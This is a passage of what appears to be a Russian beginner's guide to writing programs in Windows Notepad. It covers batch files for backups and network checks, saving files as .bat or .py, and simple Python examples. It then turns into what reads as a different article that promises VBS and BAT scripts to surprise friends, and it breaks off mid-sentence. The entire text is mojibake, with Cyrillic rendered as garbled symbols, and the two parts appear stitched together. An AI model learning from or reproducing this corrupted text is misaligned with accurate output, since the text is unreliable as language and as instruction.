Π₯ΠΎΡΠΈΡΠ΅ Π½Π°ΡΡΠΈΡΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°ΡΡ? ΠΠ°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ Π½Π°Π²ΠΎΡΠΎΡΠ΅Π½Π½ΠΎΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠ΅ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΠ΅; ΠΡ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠ°Π±ΠΎΡΠ°ΡΡ Ρ Π»ΡΠ±ΡΠΌ ΡΠ·ΡΠΊΠΎΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π² ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ΅. Π€ΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π» Π½Π΅ ΡΠ»ΠΈΡΠΊΠΎΠΌ ΡΠΈΡΠΎΠΊΠΈΠΉ, Π½ΠΎ ΠΎΡΠ»ΠΈΡΠ½ΠΎ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΠΈΡ Π΄Π»Ρ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΈ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π΄ΡΡΠ³ΠΈΡ Π½Π΅Π±ΠΎΠ»ΡΡΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ. ΠΡ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΎΠ·Π΄Π°ΡΡ ΠΏΡΠΎΡΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π·Π° Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΌΠΈΠ½ΡΡ, Π½ΠΎ Π΄Π»Ρ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΡ ΠΏΡΠΎΠ΄ΡΠΊΡΠΎΠ², Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²Π°ΠΌ ΡΡΠΎΠΈΡ ΠΏΠΎΠ΄ΡΠΌΠ°ΡΡ ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡΠΎΠ΄Π²ΠΈΠ½ΡΡΠΎΠΌ ΡΠ΅Π΄Π°ΠΊΡΠΎΡΠ΅.
Π¨Π°Π³ΠΈ
Π§Π°ΡΡΡ 1
ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ° Π΄Π»Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π½Π° Π»ΡΠ±ΠΎΠΌ ΡΠ·ΡΠΊΠ΅Π§Π°ΡΡΡ 2
Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°ΠΠ°ΡΡΠΈΡΠ΅ΡΡ ΠΏΡΠΎΡΡΠ΅ΠΉΡΠΈΠΌ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌ. ΠΠ»ΠΎΠΊΠ½ΠΎΡ ΠΎΡΠ΅Π½Ρ ΡΠ°ΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ
ΡΠ°ΠΉΠ»ΠΎΠ². ΠΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ ΡΠ²Π»ΡΡΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°ΠΌΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π΄Π»Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΡ
ΡΡΠ½ΠΊΡΠΈΠΉ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅. ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ, ΡΡΠΎΠ±Ρ ΠΏΡΠΈΠΌΠ΅Π½ΠΈΡΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΊ Π±ΠΎΠ»ΡΡΠΎΠΌΡ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Ρ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ, ΡΠΎΠ·Π΄Π°ΡΡ ΡΠ΅Π·Π΅ΡΠ²Π½ΡΠ΅ ΠΊΠΎΠΏΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄ΡΡΠ³ΠΎΠ΅.
- Π‘Π½ΠΈΠ·Ρ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½Ρ ΠΏΡΠΎΡΡΠ΅ΠΉΡΠΈΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ.
ΠΠ°ΠΏΠΈΡΠΈΡΠ΅ ΠΏΡΠΎΡΡΠ΅ΠΉΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠ΅Π·Π΅ΡΠ²Π½ΡΡ ΠΊΠΎΠΏΠΈΠΉ. ΠΡΠΎ ΠΏΡΠΎΡΡΠ°Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π² ΡΠΎΡΡΠΎΡΠ½ΠΈΠΈ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΡΠ΅Π·Π΅ΡΠ²Π½ΡΡ ΠΊΠΎΠΏΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠΈ Π² Π΄ΡΡΠ³ΡΡ, ΠΊΠΎΠΏΠΈΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΡΠ΅ ΡΠ°ΠΉΠ»Ρ, ΠΊΠΎΡΠΎΡΡΠ΅ Π±ΡΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ ΡΠΎ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅ΠΉ ΡΠ΅Π·Π΅ΡΠ²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ.
ΠΠ°ΠΏΠΈΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠΉ ΡΠ°ΠΉΠ», ΡΡΠΎΠ±Ρ ΠΏΡΠΎΡΠ΅ΡΡΠΈΡΠΎΠ²Π°ΡΡ Π²Π°ΡΡ ΡΠ΅ΡΡ. ΠΡΠ»ΠΈ Π²Ρ Π·Π°Ρ ΠΎΡΠΈΡΠ΅ ΠΏΡΠΎΡΠ΅ΡΡΠΈΡΠΎΠ²Π°ΡΡ Π²Π°ΡΡ ΡΠ΅ΡΡ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΊ ΠΈΠ½ΡΠ΅ΡΠ½Π΅ΡΡ, ΡΠΎ Π΄Π°Π½Π½ΡΠΉ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» Π±ΡΠ΄Π΅Ρ ΠΎΡΠΎΠ±ΡΠ°ΠΆΠ°ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄ Ipconfig ΠΈ Ping.
Π‘ΠΎΡ
ΡΠ°Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ» Π² ΡΠΎΡΠΌΠ°ΡΠ΅.bat. ΠΠΎΠ³Π΄Π° Π²Ρ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» Π² ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ΅, Π²Π°ΠΌ ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΡΠΎΡ
ΡΠ°Π½ΠΈΡΡ Π΅Π³ΠΎ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΡΠ°ΠΉΠ»Π°.
- ΠΠ»ΠΈΠΊΠ½ΠΈΡΠ΅ Π½Π° Π€Π°ΠΉΠ» β Π‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΊΠ°ΠΊ. Π ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ½ΠΎΠΌ ΠΌΠ΅Π½Ρ βΠ‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ Π² ΡΠΎΡΠΌΠ°ΡΠ΅β Π²ΡΠ±Π΅ΡΠΈΡΠ΅ «ΠΡΠ΅ ΡΠ°ΠΉΠ»Ρ (*.*)». ΠΠ²Π΅Π΄ΠΈΡΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅.bat. Π€Π°ΠΉΠ» ΡΠΎΡ ΡΠ°Π½ΠΈΡΡΡΡ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡ Π΅Π³ΠΎ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ.
Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ. ΠΡ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠ΄Π΅Π»Π°ΡΡ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ². ΠΡ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π·Π°Π΄Π΅ΡΠΆΠΊΠΈ, ΡΠΎΠ·Π΄Π°ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π΄Π»Ρ ΡΠΆΠ°ΡΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ², Π΄ΠΎΠ±Π°Π²ΠΈΡΡ ΠΏΠ°ΡΠΎΠ»Ρ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄ΡΡΠ³ΠΎΠ΅.
- ΠΠΎΠΈΡΠΈΡΠ΅ Π² ΠΈΠ½ΡΠ΅ΡΠ½Π΅ΡΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΏΠΎ ΡΠ°Π±ΠΎΡΠ΅ ΠΈ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ².
Π§Π°ΡΡΡ 3
Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π° PythonΠΠ°ΡΡΠΈΡΠ΅ΡΡ ΠΏΡΠΎΡΡΠ΅ΠΉΡΠΈΠΌ ΡΠΊΡΠΈΠΏΡΠ°ΠΌ Π½Π° Python-Π΅. Python ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΡΠΌ ΡΠ·ΡΠΊΠΎΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π΄Π»Ρ Π²Π΅Π±-ΡΠΊΡΠΈΠΏΡΠΎΠ², ΠΈ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΡΠ°ΠΌΡΡ ΠΏΡΠΎΡΡΡΡ ΡΠ·ΡΠΊΠΎΠ² Π΄Π»Ρ ΠΈΠ·ΡΡΠ΅Π½ΠΈΡ. ΠΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π° Pyhton Π½Π΅ ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ Π±ΡΡΡ ΡΠ»ΠΎΠΆΠ½ΡΠΌΠΈ; Π²Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½ΡΠΉ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡ. ΠΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ Π½Π° Python ΡΠ°Π±ΠΎΡΠ°ΡΡ ΡΠ΅ΡΠ΅Π· ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
- Π‘Π½ΠΈΠ·Ρ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠ²ΠΈΠ΄Π΅ΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΡΠΎΡΡΡΡ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ² ΡΠ°ΠΉΠ»ΠΎΠ² Π½Π° Python-Π΅.
Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ «Hello, World».
ΠΡΠ²Π΅Π΄ΠΈΡΠ΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎΡΡΡ Π€ΠΈΠ±ΠΎΠ½Π°ΡΡΠΈ. ΠΡΠΎ ΠΏΡΠΎΡΡΠ°Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΠΏΠΎΠ΄ΡΡΠΈΡΡΠ²Π°Π΅Ρ ΡΠΈΡΠ»Π° Π€ΠΈΠ±ΠΎΠ½Π°ΡΡΠΈ Π΄ΠΎ 100. ΠΡ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ 100 (Π½Π° Π²ΡΠΎΡΠΎΠΉ ΡΡΡΠΎΠΊΠ΅) Π½Π° Π»ΡΠ±ΠΎΠ΅ Π΄ΡΡΠ³ΠΎΠ΅. ΠΠ΅ Π·Π°Π±ΡΠ΄ΡΡΠ΅ Π²ΠΊΠ»ΡΡΠΈΡΡ Π²ΡΡΡΡΠΏΡ β ΡΡΠΎ ΡΠΎ, ΠΊΠ°ΠΊ Π½Π° Python-Π΅ ΠΎΠ±ΠΎΠ·Π½Π°ΡΠ°ΡΡΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ.
ΠΠ°ΠΏΡΡΡΠΈΡΠ΅ Π²Π°ΡΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠ°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡΠΎΠ²Π°ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π° Python-Π΅, ΡΡΠΎΠ±Ρ ΠΈΡ Π·Π°ΠΏΡΡΡΠΈΡΡ. ΠΡΠ»ΠΈ Ρ Π²Π°Ρ Π΅ΡΡΡ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½ΡΠΉ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡ, ΡΠΎ Π²Ρ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ Π·Π°ΠΏΡΡΡΠΈΡΡ ΡΠΎΡ ΡΠ°Π½Π΅Π½Π½ΡΠΉ ΡΠ°ΠΉΠ», ΡΡΠΎΠ±Ρ Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠ»ΠΈΠΊΠ½ΠΈΡΠ΅ Π½Π° Π€Π°ΠΉΠ» β Π‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΊΠ°ΠΊ. Π ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ½ΠΎΠΌ ΠΌΠ΅Π½Ρ βΠ‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ Π² ΡΠΎΡΠΌΠ°ΡΠ΅β Π²ΡΠ±Π΅ΡΠΈΡΠ΅ «ΠΡΠ΅ ΡΠ°ΠΉΠ»Ρ (*.*)». ΠΠ²Π΅Π΄ΠΈΡΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ β.pyβ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡ ΡΠΌΠΎΠΆΠ΅Ρ ΡΠ°ΡΠΏΠΎΠ·Π½Π°ΡΡ ΠΈ Π·Π°ΠΏΡΡΡΠΈΡΡ Π½ΡΠΆΠ½ΡΠΉ ΡΠ°ΠΉΠ».
Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ Π΄ΡΡΠ³ΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π° Python-Π΅. ΠΠ°ΠΆΠ΅ Π΅ΡΠ»ΠΈ Π²Ρ Π½Π΅ ΠΎΡΠ΅Π½Ρ Π·Π½Π°ΠΊΠΎΠΌΡ Ρ ΡΠ·ΡΠΊΠΎΠΌ, Python ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΎΡΠ΅Π½Ρ ΠΌΠΎΡΠ½ΡΠΌ ΡΠ·ΡΠΊΠΎΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ Π² ΡΠΎΠ·Π΄Π°Π½ΠΈΠΈ ΠΌΠ½ΠΎΠ³ΠΈΡ ΠΏΠΎΠ»Π΅Π·Π½ΡΡ Π²Π΅ΡΠ΅ΠΉ. ΠΡ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΎΠ·Π΄Π°ΡΡ ΡΠΏΠΈΡΠΊΠΈ, ΠΏΠ΅ΡΠ»ΠΈ ΠΈ Π³ΡΠ°ΡΠΈΠΊΠΈ. ΠΡ Π΄Π°ΠΆΠ΅ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΎΠ·Π΄Π°ΡΡ ΠΈΠ³ΡΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ Python.
- ΠΠΎΠΈΡΠΈΡΠ΅ Π² ΠΈΠ½ΡΠ΅ΡΠ½Π΅ΡΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΏΠΎ ΡΠ°Π±ΠΎΡΠ΅ ΠΈ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ Π½Π° Python-Π΅.
Π‘ ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ΠΉ Π²Ρ Π½Π΅ Π½Π°ΡΡΠΈΡΠ΅ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°ΡΡ ΠΈ Π΄Π°ΠΆΠ΅ Π½Π΅ Π½Π°ΠΏΠΈΡΠΈΡΠ΅ ΠΊΠ°ΠΊ ΡΠ°ΠΊΠΎΠ²ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, Π½ΠΎ Π½Π°ΠΉΠ΄Π΅ΡΠ΅ Π·Π΄Π΅ΡΡ ΠΎΡΠ»ΠΈΡΠ½ΡΠ΅ VBS ΡΠΊΡΠΈΠΏΡΡ ΠΈ BAT ΡΠ°ΠΉΠ»Ρ, ΠΊΠΎΡΠΎΡΡΠ΅ Π±Π΅Π· ΠΏΡΠΎΠ±Π»Π΅ΠΌ Π½Π°ΠΏΠΈΡΠ΅ΡΠ΅ Π² ΠΎΠ±ΡΡΠ½ΠΎΠΌ Π±Π»ΠΎΠΊΠ½ΠΎΡΠ΅ Windows, ΡΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΡΠΎΠ²Π΅ΡΡΠ΅Π½ΡΡΠ²ΠΎΠ²Π°ΡΡ ΠΏΠΎ ΡΠ²ΠΎΠ΅ΠΌΡ, ΠΏΠΎΡΠΎΠΌ ΠΏΠΎΡ Π²Π°ΡΡΠ°ΡΡΡΡ ΠΏΠ΅ΡΠ΅Π΄ Π΄ΡΡΠ·ΡΡΠΌΠΈ ΠΈ Π±Π»ΠΈΠ·ΠΊΠΈΠΌΠΈ. ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΡΠΎ ΠΏΠΎΠ΄Π½ΠΈΠΌΠ΅Ρ Π²Π°ΠΌ Π½Π°ΡΡΡΠΎΠ΅Π½ΠΈΠ΅ ΠΈ Π²Ρ ΠΎΡΠ»ΠΈΡΠ½ΠΎ ΠΏΡΠΎΠ²Π΅Π΄Π΅ΡΠ΅ Π²ΡΠ΅ΠΌΡ.
ΠΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ ΠΏΠΎΡ
ΠΎΠΆΠΈΡ
ΡΠΊΡΠΈΠΏΡΠΎΠ² ΠΏΠΈΡΡΡΡΡ Π΄Π»Ρ ΡΠ΄ΠΎΠ±ΡΡΠ²Π° ΠΈ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·Π°ΡΠΈΠΈ ΠΊΠ°ΠΊΠΈΡ
-Π»ΠΈΠ±ΠΎ Π΄Π΅ΠΉΡΡΠ²ΠΈΠΉ Π½Π° ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ΅ Ρ ΠΠ‘ Windows. ΠΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½Π½ΡΠ΅ ΠΆΠ΅ Π½ΠΈΠΆΠ΅ ΡΠΊΡΠΈΠΏΡΡ ΠΌΠ°Π»ΠΎ ΠΎΠΊΠ°ΠΆΡΡΡΡ ΠΏΠΎΠ»Π΅Π·Π½ΡΠΌΠΈ (ΠΌΠΎΠΆΠ΅Ρ ΠΌΠ½Π΅ ΡΠ°ΠΊ ΠΊΠ°ΠΆΠ΅ΡΡΡ), Π½ΠΎ ΠΎΠ½ΠΈ ΠΎΡΠ»ΠΈΡΠ½ΠΎ ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡΡ Π΄Π»Ρ ΠΏΠ΅ΡΠ²ΠΎΠ½Π°ΡΠ°Π»ΡΠ½ΠΎΠ³ΠΎ Π·Π½Π°ΠΊΠΎΠΌΡΡΠ²Π° Ρ «ΠΊΠΎΠ΄ΠΈΠ½Π³ΠΎΠΌ». ΠΡ ΠΎΡΠ»ΠΈΡΠ½ΠΎ ΠΏΡΠΎΠ²Π΅Π΄Π΅ΡΠ΅ Π²ΡΠ΅ΠΌΡ, ΡΠ΄ΠΈΠ²ΠΈΠ² ΠΊΠ°ΠΊ ΡΠ΅Π±Ρ, ΡΠ°ΠΊ ΠΈ Π·Π½Π°ΠΊΠΎΠΌΡΡ
ΡΠ°ΠΉΠ½ΠΈΠΊΠΎΠ² (Π½Π΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠΎΠ²), ΠΏΠ»ΡΡ ΡΡΠΎ Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ Ρ
ΠΎΡΠΎΡΠΈΠΉ Π²Π°ΡΠΈΠ°Π½Ρ .
ΠΠ΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠ΅ΡΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ:
- VBS — ΡΠ·ΡΠΊ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠΊΡΠΈΠΏΡΠΎΠ² Π² ΠΠ‘ Windows, ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ/ΡΠ΅Π΄Π°ΠΊΡΠΈΡΡΠ΅ΡΡΡ Π² ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ΅ Windows, ΠΈΠΌΠ΅Π΅Ρ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ «.vbs». ΠΡΠΌΠ°Ρ, ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡΡ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ ΡΠΌΡΡΠ»Π°, ΠΈΠ±ΠΎ ΡΡΠΎ ΠΌΠ°Π»ΠΎ ΠΎ ΡΠ΅ΠΌ ΡΠΊΠ°ΠΆΠ΅Ρ, ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎ Π½ΠΎΠ²ΠΈΡΠΊΠ°ΠΌ. ΠΠ½ΡΠ΅ΡΠ΅ΡΡΡΡΠΈΠΌΡΡ — .
- BAT — ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ», Π² Π½Π°ΡΠΎΠ΄Π΅ ΠΏΡΠΎΡΡΠΎ «Π±Π°ΡΠ½ΠΈΠΊ». Π Π°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»Π° «.bat». ΠΠ°Π»ΡΡΠ΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΠΎ — .
ΠΠ°Π½Π½ΡΡ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠΉ (vbs, bat) ΡΠ°ΠΉΠ»Ρ ΡΠΎΠ·Π΄Π°ΡΡΡΡ Π²ΠΎ Π²ΡΠ΅ΠΌΠΈ ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎΠΌ ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ΅ Windows (Notepad). ΠΠ»Ρ Π±ΠΎΠ»ΡΡΠ΅Π³ΠΎ ΡΠ΄ΠΎΠ±ΡΡΠ²Π° ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠΊΡΠΈΠΏΡΠΎΠ² ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΠ΅ΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠΎΠ²Π΅ΡΡΠ΅Π½ΡΡΠ²ΠΎΠ²Π°Π½Π½ΡΠΉ (ΡΠΊΠ°ΠΆΠ΅ΠΌ ΡΠ°ΠΊ) Π±Π»ΠΎΠΊΠ½ΠΎΡ — Notepad++. ΠΠ½ ΡΠ΄ΠΎΠ±Π΅Π½ ΠΏΠΎΠ΄ΡΠ²Π΅ΡΠΊΠΎΠΉ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ° Π±ΠΎΠ»ΡΡΠΎΠ³ΠΎ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Π° ΡΠ·ΡΠΊΠΎΠ² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ, Π΅ΡΠ»ΠΈ Π²Π°ΠΌ ΡΡΠΎ ΠΌΠ°Π»ΠΎ ΠΎ ΡΠ΅ΠΌ Π³ΠΎΠ²ΠΎΡΠΈΡ, ΡΠΎ ΡΠΊΠ°ΡΠ°ΠΉΡΠ΅ ΠΈ ΠΏΠΈΡΠΈΡΠ΅ Π² Π½Π΅ΠΌ — ΠΎΡΠΈΠ±ΠΎΠΊ 